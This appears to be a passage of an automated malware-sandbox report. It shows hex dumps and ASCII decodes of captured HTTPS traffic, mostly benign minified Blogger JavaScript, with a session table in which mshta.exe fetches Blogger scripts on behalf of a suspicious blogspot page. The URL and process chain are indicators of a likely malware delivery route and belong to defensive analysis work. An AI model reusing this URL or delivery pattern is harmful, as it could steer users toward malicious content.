22 5d 3d 64 5b 63 5d 3b 65 6c 73 65 20 69 66 28 50 61 2e 74 65 73 74 28 63 29 29 66 6f 72 28 63 20 69 6e 20 64 3d 4b 
28 63 2e 73 70 6c 69 74 28 22 3a 22 29 5b 31 5d 29 2c 64 3d 74 68 69 73 2e 6d 28 64 29 2c 64 29 61 5b 63 2b 22 5f 72 
69 67 68 74 22 5d 3d 64 5b 63 5d 3b 65 6c 73 65 20 69 66 28 51 61 2e 74 65 73 74 28 63 29 29 66 6f 72 28 63 20 69 6e 2
0 64 3d 4b 28 63 2e 73 70 6c 69 74 28 22 3a 22 29 5b 31 5d 29 2c 
Data Ascii: .borderWidth_top=d,a.borderWidth_bottom=d);else if(Oa.test(c))for(c in d=K(c.split(":")[1]),d=this.m(d),d)a[
c+"_left"]=d[c];else if(Pa.test(c))for(c in d=K(c.split(":")[1]),d=this.m(d),d)a[c+"_right"]=d[c];else if(Qa.test(c))for(c in d=K(
c.split(":")[1]),

2021-11-25 17:33:41 UTC 131 IN Data Raw: 74 28 63 29 3f 28 64 3d 4b 28 63 2e 73 70 6c 69 74 28 22 3a 22 29 5b 31 5d 29 2c 0a 61 2e 62 6f 72 64 65 72 
53 74 79 6c 65 5f 74 6f 70 3d 64 2c 61 2e 62 6f 72 64 65 72 53 74 79 6c 65 5f 6c 65 66 74 3d 64 2c 61 2e 62 6f 72 64 65 
72 53 74 79 6c 65 5f 62 6f 74 74 6f 6d 3d 64 2c 61 2e 62 6f 72 64 65 72 53 74 79 6c 65 5f 72 69 67 68 74 3d 64 29 3a 63 
62 2e 74 65 73 74 28 63 29 3f 28 64 3d 4b 28 63 2e 73 70 6c 69 74 28 22 3a 22 29 5b 31 5d 29 2c 61 2e 62 6f 72 64 65 72 
53 74 79 6c 65 5f 74 6f 70 3d 64 29 3a 64 62 2e 74 65 73 74 28 63 29 3f 28 64 3d 4b 28 63 2e 73 70 6c 69 74 28 22 3a 22 
29 5b 31 5d 29 2c 61 2e 62 6f 72 64 65 72 53 74 79 6c 65 5f 6c 65 66 74 3d 64 29 3a 65 62 2e 74 65 73 74 28 63 29 3f 28 
64 3d 4b 28 63 2e 73 70 6c 69 74 28 22 3a 22 29 5b 31 5d 
Data Ascii: t(c)?(d=K(c.split(":")[1]),a.borderStyle_top=d,a.borderStyle_left=d,a.borderStyle_bottom=d,a.borderStyle_rig
ht=d):cb.test(c)?(d=K(c.split(":")[1]),a.borderStyle_top=d):db.test(c)?(d=K(c.split(":")[1]),a.borderStyle_left=d):eb.test(c)?
(d=K(c.split(":")[1]

2021-11-25 17:33:41 UTC 132 IN Data Raw: 68 69 73 2e 68 28 62 5b 63 5d 29 3a 6b 62 2e 74 65 73 74 28 62 5b 63 5d 29 3f 65 2e 62 6f 72 64 65 72 53 74 
79 6c 65 3d 62 5b 63 5d 3a 2f 5b 61 2d 7a 41 2d 5a 5d 2b 2f 2e 74 65 73 74 28 62 5b 63 5d 29 26 26 28 65 2e 62 6f 72 64 
65 72 43 6f 6c 6f 72 3d 62 5b 63 5d 29 7d 72 65 74 75 72 6e 20 65 7d 3b 0a 76 61 72 20 53 61 3d 2f 62 61 63 6b 67 72 6f 
75 6e 64 2d 63 6f 6c 6f 72 2f 69 2c 54 61 3d 2f 5e 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 2f 69 2c 55 61 3d 2f 62 
61 63 6b 67 72 6f 75 6e 64 2f 69 2c 4c 61 3d 2f 67 6f 6f 67 2d 6d 73 2d 62 6f 78 2d 73 68 61 64 6f 77 2f 69 2c 4a 61 3d 2f 
67 6f 6f 67 2d 6d 73 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 2f 69 2c 47 61 3d 2f 67 6f 6f 67 2d 6d 73 2d 62 6f 72 64 65 
72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 
Data Ascii: his.h(b[c]):kb.test(b[c])?e.borderStyle=b[c]:/[a-zA-Z]+/.test(b[c])&&(e.borderColor=b[c])}return e};var Sa=/
background-color/i,Ta=/^background-image/i,Ua=/background/i,La=/goog-ms-box-shadow/i,Ja=/goog-ms-border-radius
/i,Ga=/goog-ms-border-bottom-left-ra

2021-11-25 17:33:41 UTC 133 IN Data Raw: 6c 74 50 72 65 76 65 6e 74 65 64 3d 21 30 7d 3b 76 61 72 20 6e 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 
28 21 46 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 7c 7c 21 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 
65 72 74 79 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 61 3d 21 31 2c 62 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 
72 6f 70 65 72 74 79 28 7b 7d 2c 22 70 61 73 73 69 76 65 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 61 3d 21 
30 7d 7d 29 3b 74 72 79 7b 46 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 72 61 2c 62 
29 2c 46 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 72 61 2c 62 29 7d 63 61 7
4 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 61 7d 28 29 3b 76 61 
Data Ascii: ltPrevented=!0};var nb=function(){if(!F.addEventListener||!Object.defineProperty)return!1;var a=!1,b=Object.
defineProperty({},"passive",{get:function(){a=!0}});try{F.addEventListener("test",ra,b),F.removeEventListener("test",ra,
b)}catch(e){}return a}();va

2021-11-25 17:33:41 UTC 134 IN Data Raw: 3b 69 66 28 30 3d 3d 6b 5b 30 5d 2e 6c 65 6e 67 74 68 26 26 30 3d 3d 68 5b 30 5d 2e 6c 65 6e 67 74 68 29 62 
72 65 61 6b 3b 62 3d 78 61 28 30 3d 3d 6b 5b 31 5d 2e 6c 65 6e 67 74 68 3f 30 3a 70 61 72 73 65 49 6e 74 28 6b 5b 31 
5d 2c 31 30 29 2c 30 3d 3d 68 5b 31 5d 2e 6c 65 6e 67 74 68 3f 30 3a 70 61 72 73 65 49 6e 74 28 68 5b 31 5d 2c 31 30 
29 29 7c 7c 78 61 28 30 3d 3d 6b 5b 32 5d 2e 6c 65 6e 67 74 68 2c 30 3d 3d 68 5b 32 5d 2e 6c 65 6e 67 74 68 29 7c 7c 7
8 61 28 6b 5b 32 5d 2c 68 5b 32 5d 29 3b 6b 3d 6b 5b 33 5d 3b 68 3d 68 5b 33 5d 7d 77 68 69 6c 65 28 30 3d 3d 62 29 
7d 72 65 74 75 72 6e 20 30 3c 3d 62 7d 29 7d 3b 76 61 72 20 52 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 6d 62 2e 
63 61 6c 6c 28 74 68 69 73 2c 61 3f 61 2e 74 79 70 65 3a 22 22 29 3b 74 
Data Ascii: ;if(0==k[0].length&&0==h[0].length)break;b=xa(0==k[1].length?0:parseInt(k[1],10),0==h[1].length?0:parseInt(h
[1],10))||xa(0==k[2].length,0==h[2].length)||xa(k[2],h[2]);k=k[3];h=h[3]}while(0==b)}return 0<=b})};var R=function(a,b){
mb.call(this,a?a.type:"");t

2021-11-25 17:33:41 UTC 136 IN Data Raw: 69 73 2e 63 6c 69 65 6e 74 59 3d 76 6f 69 64 20 30 21 3d 3d 61 2e 63 6c 69 65 6e 74 59 3f 61 2e 63 6c 69 65 
6e 74 59 3a 61 2e 70 61 67 65 59 2c 74 68 69 73 2e 73 63 72 65 65 6e 58 3d 61 2e 73 63 72 65 65 6e 58 7c 7c 30 2c 74 
68 69 73 2e 73 63 72 65 65 6e 59 3d 61 2e 73 63 72 65 65 6e 59 7c 7c 30 29 3b 74 68 69 73 2e 62 75 74 74 6f 6e 3d 61 
2e 62 75 74 74 6f 6e 3b 74 68 69 73 2e 6b 65 79 43 6f 64 65 3d 61 2e 6b 65 79 43 6f 64 65 7c 7c 30 3b 74 68 69 73 2e 6b 
65 79 3d 61 2e 6b 65 79 7c 7c 22 22 3b 74 68 69 73 2e 63 68 61 72 43 6f 64 65 3d 61 2e 63 68 61 72 43 6f 64 65 7c 7c 28 
22 6b 65 79 70 72 65 73 73 22 3d 3d 65 3f 61 2e 6b 65 79 43 6f 64 65 3a 30 29 3b 74 68 69 73 2e 63 74 72 6c 4b 65 79 3d 
61 2e 63 74 72 6c 4b 65 79 3b 74 68 69 73 2e 61 6c 74 4b 65 79 
Data Ascii: is.clientY=void 0!==a.clientY?a.clientY:a.pageY,this.screenX=a.screenX||0,this.screenY=a.screenY||0);this.bu
tton=a.button;this.keyCode=a.keyCode||0;this.key=a.key||"";this.charCode=a.charCode||("keypress"==e?a.keyCode:
0);this.ctrlKey=a.ctrlKey;this.altKey

Timestamp
kBytes
transferred Direction Data
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2021-11-25 17:33:41 UTC 137 IN Data Raw: 62 29 29 3b 72 65 74 75 72 6e 20 62 7d 3b 53 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 
63 74 69 6f 6e 28 61 2c 62 2c 65 2c 63 29 7b 61 3d 61 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 21 28 61 20 69 6e 20 
74 68 69 73 2e 6a 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 64 3d 74 68 69 73 2e 6a 5b 61 5d 3b 62 3d 48 62 28 64 
2c 62 2c 65 2c 63 29 3b 72 65 74 75 72 6e 2d 31 3c 62 3f 28 64 5b 62 5d 2e 48 28 29 2c 41 72 72 61 79 2e 70 72 6f 74 6f 
74 79 70 65 2e 73 70 6c 69 63 65 2e 63 61 6c 6c 28 64 2c 62 2c 31 29 2c 30 3d 3d 64 2e 6c 65 6e 67 74 68 26 26 28 64 
65 6c 65 74 65 20 74 68 69 73 2e 6a 5b 61 5d 2c 74 68 69 73 2e 43 2d 2d 29 2c 21 30 29 3a 21 31 7d 3b 0a 53 2e 70 72 6
f 74 6f 74 79 70 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 
Data Ascii: b));return b};S.prototype.remove=function(a,b,e,c){a=a.toString();if(!(a in this.j))return!1;var d=this.j[a];b=Hb(d,b,
e,c);return-1<b?(d[b].H(),Array.prototype.splice.call(d,b,1),0==d.length&&(delete this.j[a],this.C--),!0):!1};S.prototyp
e.Z=function(a){

2021-11-25 17:33:41 UTC 138 IN Data Raw: 65 6e 65 72 28 62 2e 74 6f 53 74 72 69 6e 67 28 29 2c 63 2c 64 29 3b 65 6c 73 65 20 69 66 28 61 2e 61 74 74 
61 63 68 45 76 65 6e 74 29 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 52 62 28 62 2e 74 6f 53 74 72 69 6e 67 28 29 29 
2c 63 29 3b 65 6c 73 65 20 69 66 28 61 2e 61 64 64 4c 69 73 74 65 6e 65 72 26 26 61 2e 72 65 6d 6f 76 65 4c 69 73 74 
65 6e 65 72 29 61 2e 61 64 64 4c 69 73 74 65 6e 65 72 28 63 29 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 22 
61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 20 61 6e 64 20 61 74 74 61 63 68 45 76 65 6e 74 20 61 72 65 20 75 6e 
61 76 61 69 6c 61 62 6c 65 2e 22 29 3b 4b 62 2b 2b 3b 72 65 74 75 72 6e 20 65 7d 2c 51 62 3d 66 75 6e 63 74 69 6f 6e 
28 29 7b 76 61 72 20 61 3d 53 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 
Data Ascii: ener(b.toString(),c,d);else if(a.attachEvent)a.attachEvent(Rb(b.toString()),c);else if(a.addListener&&a.remo
veListener)a.addListener(c);else throw Error("addEventListener and attachEvent are unavailable.");Kb++;return e},Qb=func
tion(){var a=Sb,b=function(

2021-11-25 17:33:41 UTC 140 IN Data Raw: 66 28 6e 75 6c 6c 3d 3d 63 7c 7c 74 68 69 73 2e 54 28 65 2c 63 29 29 74 68 69 73 2e 70 72 6f 70 73 5b 61 5d 
3d 62 2c 74 68 69 73 2e 50 5b 61 5d 3d 65 7d 3b 45 2e 54 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 3d 74 68 69 
73 2e 4e 28 61 29 3b 62 3d 74 68 69 73 2e 4e 28 62 29 3b 72 65 74 75 72 6e 20 61 2e 61 3e 62 2e 61 7c 7c 61 2e 62 3e 
62 2e 62 7c 7c 61 2e 63 3e 62 2e 63 7c 7c 61 2e 64 3e 62 2e 64 3f 21 30 3a 21 31 7d 3b 0a 45 2e 4e 3d 66 75 6e 63 74 6
9 6f 6e 28 61 29 7b 76 61 72 20 62 3d 7b 61 3a 30 2c 62 3a 30 2c 63 3a 30 2c 64 3a 30 7d 3b 69 66 28 6e 75 6c 6c 3d 3d 
61 29 72 65 74 75 72 6e 20 62 2e 61 3d 31 2c 62 3b 62 2e 62 2b 3d 28 61 2e 6d 61 74 63 68 28 55 62 29 7c 7c 5b 5d 29 
2e 6c 65 6e 67 74 68 3b 61 3d 61 2e 72 65 70 6c 61 63 65 28 55 62 2c 
Data Ascii: f(null==c||this.T(e,c))this.props[a]=b,this.P[a]=e};E.T=function(a,b){a=this.N(a);b=this.N(b);return a.a>b.a
||a.b>b.b||a.c>b.c||a.d>b.d?!0:!1};E.N=function(a){var b={a:0,b:0,c:0,d:0};if(null==a)return b.a=1,b;b.b+=(a.match(Ub)||
[]).length;a=a.replace(Ub,

2021-11-25 17:33:41 UTC 141 IN Data Raw: 28 74 68 69 73 2e 4d 28 63 2e 6f 2b 6b 2f 32 2c 63 2e 75 2b 64 2f 32 2c 63 2e 76 2b 6b 2f 32 2b 68 2f 32 2c 63 
2e 73 2b 64 2f 32 2b 66 2f 32 2c 70 2c 71 2c 6d 2c 76 2c 64 2c 6b 2c 66 2c 68 2c 61 2c 65 2c 6e 75 6c 6c 29 29 29 3b 62 
26 26 28 74 3d 74 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 4d 28 63 2e 6f 2b 6b 2f 32 2c 63 2e 75 2b 64 2f 32 2c 63 2e 76 
2b 6b 2f 32 2b 68 2f 32 2c 63 2e 73 2b 64 2f 32 2b 66 2f 32 2c 70 2c 71 2c 6d 2c 76 2c 64 2c 6b 2c 66 2c 68 2c 42 2c 65 
2c 62 2c 6c 29 29 29 3b 61 3d 74 68 69 73 2e 67 28 22 62 6f 72 64 65 72 43 6f 6c 6f 72 5f 74 6f 70 22 2c 42 29 3b 62 3d 
74 68 69 73 2e 67 28 22 62 6f 72 64 65 72 43 6f 6c 6f 72 5f 62 6f 74 74 6f 6d 22 2c 42 29 3b 65 3d 74 68 69 73 2e 67 28 
22 62 6f 72 64 65 72 43 6f 6c 6f 72 5f 6c 65 66 74 22 
Data Ascii: (this.M(c.o+k/2,c.u+d/2,c.v+k/2+h/2,c.s+d/2+f/2,p,q,m,v,d,k,f,h,a,e,null)));b&&(t=t.concat(this.M(c.o+k/2,c.
u+d/2,c.v+k/2+h/2,c.s+d/2+f/2,p,q,m,v,d,k,f,h,B,e,b,l)));a=this.g("borderColor_top",B);b=this.g("borderColor_bottom",B);
e=this.g("borderColor_left"

2021-11-25 17:33:41 UTC 142 IN Data Raw: 72 2c 62 2b 67 2d 72 2c 65 2b 32 2a 72 2c 63 2b 32 2a 72 2c 64 2c 66 2c 6b 2c 68 2c 32 2c 74 29 29 7d 72 65 
74 75 72 6e 20 70 7d 3b 0a 76 61 72 20 59 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 73 72 63 45 6c 65 6d 
65 6e 74 3b 66 6f 72 28 76 61 72 20 62 3d 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 6e 75 6c 6c 21 3d 62 3b 62 3d 62 2e 
6e 65 78 74 53 69 62 6c 69 6e 67 29 62 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 61 2e 6f 66 66 73 65 74 57 69 64 74 68 2
b 22 70 78 22 2c 62 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 61 2e 6f 66 66 73 65 74 48 65 69 67 68 74 2b 22 70 78 22 
7d 3b 45 3d 54 2e 70 72 6f 74 6f 74 79 70 65 3b 0a 45 2e 56 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 
69 73 2e 67 28 22 73 68 61 64 6f 77 56 4f 66 66 73 22 2c 30 29 2c 
Data Ascii: r,b+g-r,e+2*r,c+2*r,d,f,k,h,2,t))}return p};var Yb=function(a){a=a.srcElement;for(var b=a.firstChild;null!=b
;b=b.nextSibling)b.style.width=a.offsetWidth+"px",b.style.height=a.offsetHeight+"px"};E=T.prototype;E.V=function(){var a
=this.g("shadowVOffs",0),

2021-11-25 17:33:41 UTC 143 IN Data Raw: 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 53 74 79 6c 65 3d 22 73 6f 6c 69 64 22 3b 67 2e 73 74 79 6c 65 2e 62 
6f 72 64 65 72 43 6f 6c 6f 72 3d 42 3b 67 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 3d 66 3b 67 
2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 69 67 68 74 57 69 64 74 68 3d 6b 3b 67 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 
54 6f 70 57 69 64 74 68 3d 63 3b 67 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 42 6f 74 74 6f 6d 57 69 64 74 68 3d 64 3b 64 
3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 44 49 56 22 29 3b 64 2e 73 74 79 6c 65 2e 
70 6f 73 69 74 69 6f 6e 3d 22 72 65 6c 61 74 69 76 65 22 3b 64 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 22 
2d 22 2b 71 3b 64 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 52 
Data Ascii: .style.borderStyle="solid";g.style.borderColor=B;g.style.borderLeftWidth=f;g.style.borderRightWidth=k;g.styl
e.borderTopWidth=c;g.style.borderBottomWidth=d;d=document.createElement("DIV");d.style.position="relative";d.s
tyle.marginLeft="-"+q;d.style.marginR

2021-11-25 17:33:41 UTC 145 IN Data Raw: 6e 74 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 3d 30 29 3b 72 65 74 75 72 6e 20 68 7d 3b 0a 45 2e 46 3d 66 75 
6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 72 65 74 75 72 6e 2d 4e 75 6d 62 65 72 
2e 4d 41 58 5f 56 41 4c 55 45 3b 69 66 28 21 74 68 69 73 2e 64 65 70 74 68 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 65 
6c 65 6d 65 6e 74 3b 66 6f 72 28 74 68 69 73 2e 64 65 70 74 68 3d 30 3b 61 21 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 
26 26 6e 75 6c 6c 21 3d 61 3b 29 74 68 69 73 2e 64 65 70 74 68 2b 2b 2c 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 7
2 65 74 75 72 6e 20 74 68 69 73 2e 64 65 70 74 68 7d 3b 0a 45 2e 4d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 65 2c 63 
2c 64 2c 66 2c 6b 2c 68 2c 6c 2c 67 2c 76 2c 6d 2c 71 2c 70 2c 72 
Data Ascii: nt.style.margin=0);return h};E.F=function(){if(!this.element)return-Number.MAX_VALUE;if(!this.depth){var a=t
his.element;for(this.depth=0;a!=document.body&&null!=a;)this.depth++,a=a.parentNode}return this.depth};E.M=fun
ction(a,b,e,c,d,f,k,h,l,g,v,m,q,p,r

2021-11-25 17:33:41 UTC 146 IN Data Raw: 6f 6b 65 64 3d 22 74 72 75 65 22 27 2c 27 20 73 74 72 6f 6b 65 77 65 69 67 68 74 3d 22 7b 62 6f 72 64 65 72 
57 69 64 74 68 7d 22 20 73 74 72 6f 6b 65 63 6f 6c 6f 72 3d 22 7b 62 6f 72 64 65 72 43 6f 6c 6f 72 7d 22 27 2c 27 20 70 
61 74 68 3d 22 27 5d 2c 68 61 3d 5b 27 22 3e 3c 67 5f 76 6d 6c 5f 3a 73 74 72 6f 6b 65 20 6f 70 61 63 69 74 79 3d 22 31 
22 20 6a 6f 69 6e 73 74 79 6c 65 3d 22 6d 69 74 65 72 22 27 2c 27 20 6d 69 74 65 72 6c 69 6d 69 74 3d 22 27 2c 55 2c 27
22 27 2c 62 61 2c 27 20 77 65 69 67 68 74 3d 22 7b 62 6f 72 64 65 72 57 69 64 74 68 7d 70 78 22 27 2c 27 20 63 6f 6c 6f 
72 3d 22 7b 62 6f 72 64 65 72 43 6f 6c 6f 72 7d 22 20 2f 3e 3c 2f 67 5f 76 6d 6c 5f 3a 73 68 61 70 65 3e 27 5d 2c 4a 3d 5b 
5d 3b 70 21 3d 42 26 26 0a 6e 21 3d 7a 26 26 28 6e 3d 
Data Ascii: oked="true"',' strokeweight="{borderWidth}" strokecolor="{borderColor}"',' path="'],ha=['"><g_vml_:stroke op
acity="1" joinstyle="miter"',' miterlimit="',U,'"',ba,' weight="{borderWidth}px"',' color="{borderColor}" /></g_vml_:shape>'],J=[]
;p!=B&&n!=z&&(n=

Timestamp
kBytes
transferred Direction Data
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2021-11-25 17:33:41 UTC 147 IN Data Raw: 33 29 3b 76 61 72 20 71 3d 67 2e 73 75 62 73 74 72 69 6e 67 28 6d 2b 31 2c 67 2e 69 6e 64 65 78 4f 66 28 22 
29 22 2c 6d 2b 31 29 29 2e 73 70 6c 69 74 28 22 2c 22 29 3b 6d 3d 22 23 22 3b 66 6f 72 28 76 61 72 20 70 3d 30 3b 33 
3e 70 3b 70 2b 2b 29 6d 2b 3d 24 62 5b 4e 75 6d 62 65 72 28 71 5b 70 5d 29 5d 3b 34 3d 3d 71 2e 6c 65 6e 67 74 68 26 
26 22 61 22 3d 3d 67 2e 73 75 62 73 74 72 28 33 2c 31 29 26 26 28 76 3d 71 5b 33 5d 29 7d 65 6c 73 65 20 6d 3d 67 3b 
6d 3d 5b 6d 2c 76 5d 3b 67 3d 6d 5b 30 5d 3b 76 3d 5b 65 61 2c 67 2c 27 22 20 66 69 6c 6c 65 64 3d 22 66 61 6c 73 65 
22 20 27 2c 70 61 2c 41 61 2c 64 61 2c 74 68 69 73 2e 69 2e 6f 66 66 73 65 74 57 69 64 74 68 2c 22 70 78 3b 22 2c 22 68
65 69 67 68 74 3a 22 2c 74 68 69 73 2e 69 2e 6f 66 66 73 65 74 48 65 
Data Ascii: 3);var q=g.substring(m+1,g.indexOf(")",m+1)).split(",");m="#";for(var p=0;3>p;p++)m+=$b[Number(q[p])];4==q.l
ength&&"a"==g.substr(3,1)&&(v=q[3])}else m=g;m=[m,v];g=m[0];v=[ea,g,'" filled="false" ',pa,Aa,da,this.i.offsetWidth,"px;
","height:",this.i.offsetHe

2021-11-25 17:33:41 UTC 148 IN Data Raw: 5b 61 2d 7a 2c 41 2d 5a 2c 30 2d 39 2d 3d 5c 73 5d 2b 5c 5d 2f 67 2c 58 62 3d 2f 3a 5b 61 2d 7a 2c 41 2d 5a 
2c 30 2d 39 2d 5d 2b 2f 67 2c 57 62 3d 2f 5c 2e 5b 61 2d 7a 2c 41 2d 5a 2c 30 2d 39 2d 5d 2b 2f 67 2c 55 3d 31 30 2c 58 
3d 55 2f 32 2c 24 62 3d 5b 5d 2c 61 63 3d 30 3b 31 36 3e 61 63 3b 61 63 2b 2b 29 66 6f 72 28 76 61 72 20 62 63 3d 30 3b 
31 36 3e 62 63 3b 62 63 2b 2b 29 24 62 5b 31 36 2a 61 63 2b 62 63 5d 3d 61 63 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 
2b 62 63 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 3b 76 61 72 20 59 3d 5b 5b 31 2c 30 2c 30 5d 2c 5b 30 2c 31 2c 30 5d 
2c 5b 30 2c 30 2c 31 5d 5d 3b 66 75 6e 63 74 69 6f 6e 20 63 63 28 61 2c 62 29 7b 72 65 74 75 72 6e 7b 78 3a 55 2a 28 6
1 2a 59 5b 30 5d 5b 30 5d 2b 62 2a 59 5b 31 5d 5b 30 5d 2b 59 5b 
Data Ascii: [a-z,A-Z,0-9-=\s]+\]/g,Xb=/:[a-z,A-Z,0-9-]+/g,Wb=/\.[a-z,A-Z,0-9-]+/g,U=10,X=U/2,$b=[],ac=0;16>ac;ac++)for(var 
bc=0;16>bc;bc++)$b[16*ac+bc]=ac.toString(16)+bc.toString(16);var Y=[[1,0,0],[0,1,0],[0,0,1]];function cc(a,b){return{x:U*
(a*Y[0][0]+b*Y[1][0]+Y[

2021-11-25 17:33:41 UTC 150 IN Data Raw: 73 74 79 6c 65 2e 63 73 73 54 65 78 74 29 2c 68 3d 6b 63 28 66 2e 73 65 6c 65 63 74 6f 72 54 65 78 74 29 3b 
69 66 28 6b 2e 4f 28 29 26 26 21 6c 62 2e 74 65 73 74 28 68 29 29 66 6f 72 28 76 61 72 20 6c 3d 6b 2e 70 61 72 73 65 28 
29 2c 67 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 68 29 2c 76 3d 30 3b 76 3c 67 
2e 6c 65 6e 67 74 68 3b 76 2b 2b 29 7b 76 61 72 20 6d 3d 67 5b 76 5d 3b 6d 63 28 6d 2c 62 2c 6b 2c 6c 2c 68 29 3b 28 
6e 65 77 20 51 28 6d 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 29 2e 70 61 
72 73 65 28 29 7d 69 66 28 6b 2e 4f 28 29 26 26 6c 62 2e 74 65 73 74 28 68 29 29 7b 76 61 72 20 71 3d 68 2e 72 65 70 
6c 61 63 65 28 6c 62 2c 22 22 29 3b 67 3d 64 6f 63 75 6d 65 6e 
Data Ascii: style.cssText),h=kc(f.selectorText);if(k.O()&&!lb.test(h))for(var l=k.parse(),g=document.querySelectorAll(h)
,v=0;v<g.length;v++){var m=g[v];mc(m,b,k,l,h);(new Q(m.style.cssText.toLowerCase())).parse()}if(k.O()&&lb.test(h)){var q
=h.replace(lb,"");g=documen

2021-11-25 17:33:41 UTC 151 IN Data Raw: 74 75 72 6e 20 5a 5b 49 28 63 29 5d 2e 46 28 29 2d 65 2e 46 28 29 7d 29 3b 50 3d 4f 2e 6c 65 6e 67 74 68 2d 
31 3b 30 3c 3d 50 26 26 71 63 28 29 7d 7d 2c 6d 63 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 65 2c 63 2c 64 29 7b 76 
61 72 20 66 3d 5a 5b 49 28 61 29 5d 3b 69 66 28 6e 75 6c 6c 3d 3d 0a 66 29 7b 76 61 72 20 6b 3d 22 72 65 74 72 6f 66 
69 74 74 65 72 2d 22 2b 62 2e 6c 65 6e 67 74 68 3b 66 3d 6e 65 77 20 54 3b 66 2e 65 6c 65 6d 65 6e 74 3d 61 3b 66 2e 6
9 64 3d 6b 3b 6b 3d 66 3b 5a 5b 49 28 61 29 5d 3d 6b 7d 62 5b 49 28 61 29 5d 3d 61 3b 65 2e 41 26 26 28 66 2e 41 3d 
21 30 29 3b 65 2e 61 61 28 29 26 26 28 66 2e 72 65 71 75 69 72 65 64 3d 21 30 29 3b 66 6f 72 28 76 61 72 20 68 20 69 
6e 20 63 29 66 2e 4c 28 68 2c 63 5b 68 5d 2c 64 29 3b 66 2e 70 72 6f 70 
Data Ascii: turn Z[I(c)].F()-e.F()});P=O.length-1;0<=P&&qc()}},mc=function(a,b,e,c,d){var f=Z[I(a)];if(null==f){var k="r
etrofitter-"+b.length;f=new T;f.element=a;f.id=k;k=f;Z[I(a)]=k}b[I(a)]=a;e.A&&(f.A=!0);e.aa()&&(f.required=!0);for(var h in 
c)f.L(h,c[h],d);f.prop

2021-11-25 17:33:41 UTC 152 IN Data Raw: 64 20 30 29 3b 71 61 28 22 42 4c 4f 47 5f 52 65 73 65 74 49 45 52 65 74 72 6f 66 69 74 22 2c 67 63 2c 21 30 
2c 76 6f 69 64 20 30 29 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a 
Data Ascii: d 0);qa("BLOG_ResetIERetrofit",gc,!0,void 0);}).call(this);

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

7 192.168.2.22 49172 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:42 UTC 154 OUT GET /static/v1/widgets/1397508952-widgets.js HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.blogger.com
Connection: Keep-Alive

2021-11-25 17:33:42 UTC 154 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: text/javascript
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech"
Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogg
